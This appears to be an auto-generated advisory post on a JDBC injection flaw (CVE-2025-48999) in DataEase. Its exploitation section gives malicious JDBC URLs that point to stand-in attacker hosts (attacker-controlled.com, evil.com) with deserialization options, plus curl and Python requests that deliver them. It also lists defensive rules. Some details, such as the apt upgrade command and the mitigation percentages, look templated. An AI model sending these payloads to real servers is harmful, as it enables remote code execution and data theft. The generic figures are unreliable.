How CVE-2025-48999 Works
The vulnerability in DataEase before version 2.10.10 stems from insufficient input validation in the `getUrlType()` function. When processing a malicious payload, the function retrieves `hostName` but fails to properly validate it due to a flawed conditional check. This allows attackers to bypass the patch for CVE-2025-46566 by crafting a malicious JDBC connection string. The payload bypasses filtering and is directly concatenated into a replace operation, leading to arbitrary JDBC statement execution. The flaw enables unauthorized database access, data exfiltration, or remote code execution depending on the attacker’s payload.
DailyCVE Form
Platform: DataEase
Version: < 2.10.10
Vulnerability: JDBC Injection
Severity: Medium
Date: 06/05/2025
Prediction: Patch by 07/15/2025
What Undercode Say:
Exploitation
1. Malicious JDBC Payload:
jdbc:mysql://attacker-controlled.com:3306/db?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor
2. Craft Exploit Request:
curl -X POST 'http://target/dataease/api/import' -d 'jdbcurl=malicious_payload'
3. Trigger Deserialization:
import requests
payload = {"jdbcUrl": "jdbc:mysql://evil.com/mydb?autoDeserialize=true"}
requests.post("http://target/api/endpoint", json=payload)
Protection
1. Patch Immediately:
apt upgrade dataease -y
2. Input Validation:
if (!hostName.matches("^[a-zA-Z0-9.-]+$")) throw new SecurityException();
3. Network Controls:
iptables -A OUTPUT -p tcp --dport 3306 -j DROP
4. Log Monitoring:
grep "jdbc:mysql" /var/log/dataease/access.log
5. WAF Rule:
location /api/ {
if ($args ~ "autoDeserialize=true") { return 403; }
}
Analytics
- Attack Surface: High (Web-facing API)
- Exploit Complexity: Medium (Requires JDBC knowledge)
- Impact: Data leakage, RCE
- Mitigation Efficacy: 100% with patch, 80% with WAF
